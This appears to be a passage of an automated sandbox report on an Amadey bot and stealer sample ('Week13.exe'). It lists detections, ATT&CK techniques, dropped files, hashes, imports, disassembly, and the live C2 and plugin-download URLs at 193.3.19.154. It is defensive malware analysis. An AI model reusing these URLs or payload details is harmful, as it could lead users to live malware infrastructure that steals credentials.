Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	Queries volume information: C:\Users\user\AppData\Roaming\006700e5a2ab05\clip64.dll VolumeInformation	Jump to behavior

Stealing of Sensitive Information

Yara detected Amadey bot

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000001.00000002.4482643286.0000000000D36000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4482643286.0000000000D21000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4482643286.0000000000CE0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4482643286.0000000000CC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: oneetx.exe PID: 6160, type: MEMORYSTR

Yara detected Amadeys stealer DLL

Source: Yara match	File source: Week13.exe, type: SAMPLE
Source: Yara match	File source: 00000000.00000000.2018110902.0000000000611000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000000.2659622976.0000000000891000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2024090733.0000000000611000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000000.3258747374.0000000000891000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2072680147.0000000000891000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2661827573.0000000000891000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3859111470.0000000000891000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4482407558.0000000000891000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000000.3858755574.0000000000891000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000000.4459397310.0000000000891000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.2023252824.0000000000891000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.4464203230.0000000000891000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3259452857.0000000000891000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000000.2068747205.0000000000891000.00000020.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	11 Process Injection	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	21 Virtualization/Sandbox Evasion	LSASS Memory	21 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Services File Permissions Weakness	1 Registry Run Keys / Startup Folder	11 Process Injection	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	12 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 DLL Side-Loading	1 Services File Permissions Weakness	1 Services File Permissions Weakness	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 DLL Side-Loading	1 DLL Side-Loading	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
Week13.exe	92%	ReversingLabs	Win32.Trojan.Amadey
Week13.exe	100%	Avira	HEUR/AGEN.1317762
Week13.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	100%	Avira	HEUR/AGEN.1317762
C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe	92%	ReversingLabs	Win32.Trojan.Amadey

Source	Detection	Scanner	Label
http://193.3.19.154/store/games/index.php1mb3JtLXVybGVuY29kZWQ=N	100%	Avira URL Cloud	malware
http://193.3.19.154/store/games/index.phpc	100%	Avira URL Cloud	malware
http://193.3.19.154/store/games/index.phpd	100%	Avira URL Cloud	malware
http://193.3.19.154/store/games/index.phppdR	100%	Avira URL Cloud	malware
http://193.3.19.154/store/games/index.phppd	100%	Avira URL Cloud	malware
http://193.3.19.154/store/games/index.phpe5a2ab05	100%	Avira URL Cloud	malware
http://193.3.19.154/store/games/index.php	100%	Avira URL Cloud	malware
http://193.3.19.154/store/games/Plugins/cred64.dllx	100%	Avira URL Cloud	malware
http://193.3.19.154/store/games/Plugins/cred64.dll	100%	Avira URL Cloud	malware
http://193.3.19.154/store/games/index.php1mb3JtLXVybGVuY29kZWQ=	100%	Avira URL Cloud	malware
http://193.3.19.154/store/games/Plugins/clip64.dllYS2	100%	Avira URL Cloud	malware
http://193.3.19.154/store/games/index.phpt	100%	Avira URL Cloud	malware
http://193.3.19.154/store/games/index.phpded	100%	Avira URL Cloud	malware
http://193.3.19.154/store/games/Plugins/clip64.dll	100%	Avira URL Cloud	malware

Name	Malicious	Antivirus Detection	Reputation
http://193.3.19.154/store/games/index.php	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.3.19.154/store/games/index.php1mb3JtLXVybGVuY29kZWQ=N	oneetx.exe, 00000001.00000002.4482643286.0000000000D21000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://193.3.19.154/store/games/index.phpe5a2ab05	oneetx.exe, 00000001.00000002.4482643286.0000000000CE0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://193.3.19.154/store/games/Plugins/cred64.dllx	oneetx.exe, 00000001.00000002.4482643286.0000000000CE0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://193.3.19.154/store/games/Plugins/cred64.dll	oneetx.exe, 00000001.00000002.4482643286.0000000000CE0000.00000004.00000020.00020000.00000000.sdmp, oneetx.exe, 00000001.00000002.4482643286.0000000000D21000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://193.3.19.154/store/games/index.phppd	oneetx.exe, 00000001.00000002.4482643286.0000000000CE0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://193.3.19.154/store/games/index.phpc	oneetx.exe, 00000001.00000002.4482643286.0000000000CE0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://193.3.19.154/store/games/index.php1mb3JtLXVybGVuY29kZWQ=	oneetx.exe, 00000001.00000002.4482643286.0000000000D21000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://193.3.19.154/store/games/index.phpd	oneetx.exe, 00000001.00000002.4482643286.0000000000CE0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://193.3.19.154/store/games/index.phppdR	oneetx.exe, 00000001.00000002.4482643286.0000000000CE0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://193.3.19.154/store/games/Plugins/clip64.dllYS2	oneetx.exe, 00000001.00000002.4482643286.0000000000D21000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://193.3.19.154/store/games/index.phpded	oneetx.exe, 00000001.00000002.4482643286.0000000000CE0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://193.3.19.154/store/games/Plugins/clip64.dll	oneetx.exe, 00000001.00000002.4482643286.0000000000D21000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://193.3.19.154/store/games/index.phpt	oneetx.exe, 00000001.00000002.4482643286.0000000000CE0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.3.19.154	unknown	Denmark		2107	ARNES-NETAcademicandResearchNetworkofSloveniaSI	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561581
Start date and time:	2024-11-23 20:52:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Week13.exe
Detection:	MAL
Classification:	mal100.troj.spyw.winEXE@26/6@0/1
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: Week13.exe

Simulations

Behavior and APIs

Time	Type	Description
14:52:58	API Interceptor	10376866x Sleep call for process: oneetx.exe modified
20:52:57	Task Scheduler	Run new task: oneetx.exe path: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.3.19.154	HRU6b08mmd.exe	Get hash	malicious	Amadey, Healer AV Disabler, PureLog Stealer, RedLine	Browse	193.3.19.154/store/games/index.php
	V4D7O37Q2C.exe	Get hash	malicious	Amadey, RedLine	Browse	193.3.19.154/store/games/index.php
	TEpJB9Z7uL.exe	Get hash	malicious	Amadey, RedLine	Browse	193.3.19.154/store/games/index.php
	hd6tZze1Cp.exe	Get hash	malicious	Amadey, RedLine	Browse	193.3.19.154/store/games/index.php
	yab5PS1Mst.exe	Get hash	malicious	Amadey, RedLine	Browse	193.3.19.154/store/games/index.php
	JeGitbTYgL.exe	Get hash	malicious	Amadey, RedLine	Browse	193.3.19.154/store/games/index.php
	file.exe	Get hash	malicious	Amadey, RedLine	Browse	193.3.19.154/store/games/index.php
	file.exe	Get hash	malicious	Amadey, RedLine	Browse	193.3.19.154/store/games/index.php
	file.exe	Get hash	malicious	Amadey, RedLine	Browse	193.3.19.154/store/games/index.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ARNES-NETAcademicandResearchNetworkofSloveniaSI	1Sj5F6P4nv.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	193.3.19.151
	5LEXIucyEP.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	193.3.19.151
	44qLDKzsfO.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	193.3.19.151
	gP5rh6fa0S.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	193.3.19.151
	urkOkB0BdX.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	193.3.19.151
	8F0oMWUhg7.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	193.3.19.151
	botx.mpsl.elf	Get hash	malicious	Mirai	Browse	95.87.151.60
	yakuza.mips.elf	Get hash	malicious	Unknown	Browse	194.249.92.194
	HRU6b08mmd.exe	Get hash	malicious	Amadey, Healer AV Disabler, PureLog Stealer, RedLine	Browse	193.3.19.154

Process:	C:\Users\user\Desktop\Week13.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	209950
Entropy (8bit):	6.342521487985493
Encrypted:	false
SSDEEP:	3072:c/frTDzurT1S3CzpdmnATE55zjExkKGruONMvhu5QTXzeJX2vkMfSDPwU:Wfrnzurs3Czpexj2kGOIu5QTyJMKk
MD5:	A1B8FA53A47B1991EE76A46EE8685B7D
SHA1:	4002A9CFFCDE9F7F44633457457792564A63BF5D
SHA-256:	E472FD69B5A891059F44206124BAF829CB7583890E2C8E288E311359A2249871
SHA-512:	F685FEF174DED44E2ECA9DF2F75F858611B45672E4DE5D81C868BB7441F476BC20AB8421AE48E2D004B960672C35190C2F4F6B9975A67596DE204918C6E52613
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......]..M.o...o...o..B....o..B....o..B....o.......o.......o......5o..B....o...o...o.......o....m..o.......o..Rich.o..................PE..L.....Bd.................t........../U............@.......................................@.....................................d....@.......................P... ..`...p...................t...........@............................................text...-r.......t.................. ..`.rdata..t\|.......~...x..............@..@.data...('..........................@....rsrc........@......................@..@.reloc... ...P..."..................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Week13.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\cacls.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	15
Entropy (8bit):	3.240223928941852
Encrypted:	false
SSDEEP:	3:o3F:o1
MD5:	509B054634B6DE74F111C3E646BC80FD
SHA1:	99B4C0F39144A92FE42E22473A2A2552FB16BD13
SHA-256:	07C7C151ADD6D955F3C876359C0E2A3A3FB0C519DD1E574413F0B68B345D8C36
SHA-512:	A9C2D23947DBE09D5ECFBF6B3109F3CF8409E43176AE10C18083446EDE006E60E41C3EA2D2765036A967FC81B085D5F271686606AED4154AE45287D412CF6D40
Malicious:	false
Preview:	processed dir:

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.342521487985493
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Week13.exe
File size:	209'950 bytes
MD5:	a1b8fa53a47b1991ee76a46ee8685b7d
SHA1:	4002a9cffcde9f7f44633457457792564a63bf5d
SHA256:	e472fd69b5a891059f44206124baf829cb7583890e2c8e288e311359a2249871
SHA512:	f685fef174ded44e2eca9df2f75f858611b45672e4de5d81c868bb7441f476bc20ab8421ae48e2d004b960672c35190c2f4f6b9975a67596de204918c6e52613
SSDEEP:	3072:c/frTDzurT1S3CzpdmnATE55zjExkKGruONMvhu5QTXzeJX2vkMfSDPwU:Wfrnzurs3Czpexj2kGOIu5QTyJMKk
TLSH:	F524F6257D12C032D561A1B619F5BFF2C59CA828A7B049DB7B800F77DA122F73960E39
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......]..M.o...o...o..B....o..B....o..B....o.......o.......o......5o..B....o...o...o.......o....m..o.......o..Rich.o.................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x41552f
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6442E0B0 [Fri Apr 21 19:14:56 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	f8cc61ade86cb7277d0ab974de6323cb

Entrypoint Preview

Instruction
call 00007F4174B0CD79h
jmp 00007F4174B0C769h
jmp 00007F4174B0F8B9h
push ebp
mov ebp, esp
sub esp, 00000324h
push ebx
push 00000017h
call 00007F4174B1B8C9h
test eax, eax
je 00007F4174B0C8F7h
mov ecx, dword ptr [ebp+08h]
int 29h
push 00000003h
call 00007F4174B0CA9Bh
mov dword ptr [esp], 000002CCh
lea eax, dword ptr [ebp-00000324h]
push 00000000h
push eax
call 00007F4174B0D241h
add esp, 0Ch
mov dword ptr [ebp-00000274h], eax
mov dword ptr [ebp-00000278h], ecx
mov dword ptr [ebp-0000027Ch], edx
mov dword ptr [ebp-00000280h], ebx
mov dword ptr [ebp-00000284h], esi
mov dword ptr [ebp-00000288h], edi
mov word ptr [ebp-0000025Ch], ss
mov word ptr [ebp-00000268h], cs
mov word ptr [ebp-0000028Ch], ds
mov word ptr [ebp-00000290h], es
mov word ptr [ebp-00000294h], fs
mov word ptr [ebp-00000298h], gs
pushfd
pop dword ptr [ebp-00000264h]
mov eax, dword ptr [ebp+04h]
mov dword ptr [ebp-0000026Ch], eax
lea eax, dword ptr [ebp+04h]
mov dword ptr [ebp-00000260h], eax
mov dword ptr [ebp-00000324h], 00010001h
mov eax, dword ptr [eax-04h]
push 00000050h
mov dword ptr [ebp-00000270h], eax
lea eax, dword ptr [ebp-58h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x300d8	0x64	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x34000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x35000	0x208c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x2f360	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x2f474	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2f3d0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x29000	0x204	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2722d	0x27400	f8a1f275d950abfb13b70d936b801360	False	0.4442426353503185	data	6.4362141478020645	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x29000	0x7c74	0x7e00	a9c9e415c77aeb6ff53c4ca6792ae320	False	0.4195808531746032	data	4.991773718102028	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x31000	0x2728	0x1800	214e19b3a3a6d8354fa90e8a17cf746e	False	0.08658854166666667	data	1.3673078527283469	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x34000	0x1e0	0x200	1b99276507c6356b24a31f63887375df	False	0.52734375	data	4.7176788329467545	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x35000	0x208c	0x2200	1f9afe88c86e7b78ae326a57253f65d5	False	0.7651654411764706	data	6.522595049005223	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x34060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
KERNEL32.dll	GetFileAttributesA, CreateFileA, CloseHandle, GetSystemInfo, CreateThread, HeapAlloc, GetThreadContext, GetProcAddress, VirtualAllocEx, LocalFree, GetLastError, ReadProcessMemory, GetProcessHeap, CreateProcessA, CreateDirectoryA, SetThreadContext, WriteConsoleW, ReadConsoleW, SetEndOfFile, SetFilePointerEx, GetTempPathA, Sleep, SetCurrentDirectoryA, GetModuleHandleA, GetComputerNameExW, ResumeThread, GetVersionExW, CreateMutexA, VirtualAlloc, WriteFile, VirtualFree, HeapFree, WriteProcessMemory, GetModuleFileNameA, RemoveDirectoryA, ReadFile, HeapReAlloc, HeapSize, GetTimeZoneInformation, GetConsoleMode, GetConsoleCP, FlushFileBuffers, GetStringTypeW, SetEnvironmentVariableW, FreeEnvironmentStringsW, GetEnvironmentStringsW, WideCharToMultiByte, GetCPInfo, GetOEMCP, GetACP, IsValidCodePage, FindNextFileW, FindFirstFileExW, FindClose, SetStdHandle, GetFullPathNameW, GetCurrentDirectoryW, DeleteFileW, LCMapStringW, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, SetEvent, ResetEvent, WaitForSingleObjectEx, CreateEventW, GetModuleHandleW, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, IsDebuggerPresent, GetStartupInfoW, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, RaiseException, SetLastError, RtlUnwind, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, LoadLibraryExW, ExitProcess, GetModuleHandleExW, CreateFileW, GetDriveTypeW, GetFileInformationByHandle, GetFileType, PeekNamedPipe, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, GetModuleFileNameW, GetStdHandle, GetCommandLineA, GetCommandLineW, MultiByteToWideChar, CompareStringW, DecodePointer
ADVAPI32.dll	RegCloseKey, RegQueryValueExA, GetUserNameA, RegSetValueExA, RegOpenKeyExA, ConvertSidToStringSidW, GetUserNameW, LookupAccountNameW
SHELL32.dll	SHGetFolderPathA, ShellExecuteA, SHFileOperationA
WININET.dll	HttpOpenRequestA, InternetReadFile, InternetConnectA, HttpSendRequestA, InternetCloseHandle, InternetOpenA, InternetOpenW, InternetOpenUrlA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-23T20:52:56.688685+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	50036	193.3.19.154	80	TCP
2024-11-23T20:52:56.688685+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	50036	193.3.19.154	80	TCP
2024-11-23T20:53:04.143083+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	49705	193.3.19.154	80	TCP
2024-11-23T20:53:04.143083+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	49705	193.3.19.154	80	TCP
2024-11-23T20:53:04.143141+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49704	193.3.19.154	80	TCP
2024-11-23T20:53:08.382363+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	49706	193.3.19.154	80	TCP
2024-11-23T20:53:08.382363+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	49706	193.3.19.154	80	TCP
2024-11-23T20:53:12.626276+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49708	193.3.19.154	80	TCP
2024-11-23T20:53:12.626323+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	49707	193.3.19.154	80	TCP
2024-11-23T20:53:12.626323+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	49707	193.3.19.154	80	TCP
2024-11-23T20:53:16.860879+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	49709	193.3.19.154	80	TCP
2024-11-23T20:53:16.860879+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	49709	193.3.19.154	80	TCP
2024-11-23T20:53:21.095122+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49714	193.3.19.154	80	TCP
2024-11-23T20:53:21.095201+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	49712	193.3.19.154	80	TCP
2024-11-23T20:53:21.095201+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	49712	193.3.19.154	80	TCP
2024-11-23T20:53:25.313904+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	49722	193.3.19.154	80	TCP
2024-11-23T20:53:25.313904+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	49722	193.3.19.154	80	TCP
2024-11-23T20:53:29.579645+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49735	193.3.19.154	80	TCP
2024-11-23T20:53:29.579693+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	49733	193.3.19.154	80	TCP
2024-11-23T20:53:29.579693+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	49733	193.3.19.154	80	TCP
2024-11-23T20:53:33.829480+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	49741	193.3.19.154	80	TCP
2024-11-23T20:53:33.829480+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	49741	193.3.19.154	80	TCP
2024-11-23T20:53:38.073084+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	49752	193.3.19.154	80	TCP
2024-11-23T20:53:38.073084+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	49752	193.3.19.154	80	TCP
2024-11-23T20:53:38.073133+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49754	193.3.19.154	80	TCP
2024-11-23T20:53:42.313889+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	49764	193.3.19.154	80	TCP
2024-11-23T20:53:42.313889+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	49764	193.3.19.154	80	TCP
2024-11-23T20:53:46.532660+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	49775	193.3.19.154	80	TCP
2024-11-23T20:53:46.532660+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	49775	193.3.19.154	80	TCP
2024-11-23T20:53:46.532797+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49776	193.3.19.154	80	TCP
2024-11-23T20:53:50.782734+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	49787	193.3.19.154	80	TCP
2024-11-23T20:53:50.782734+0100	2045751	ET MALWARE Win32/Amadey Bot Activity (POST) M2	1	192.168.2.5	49787	193.3.19.154	80	TCP
2024-11-23T20:53:55.042480+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.5	49794	193.3.19.154	80	TCP
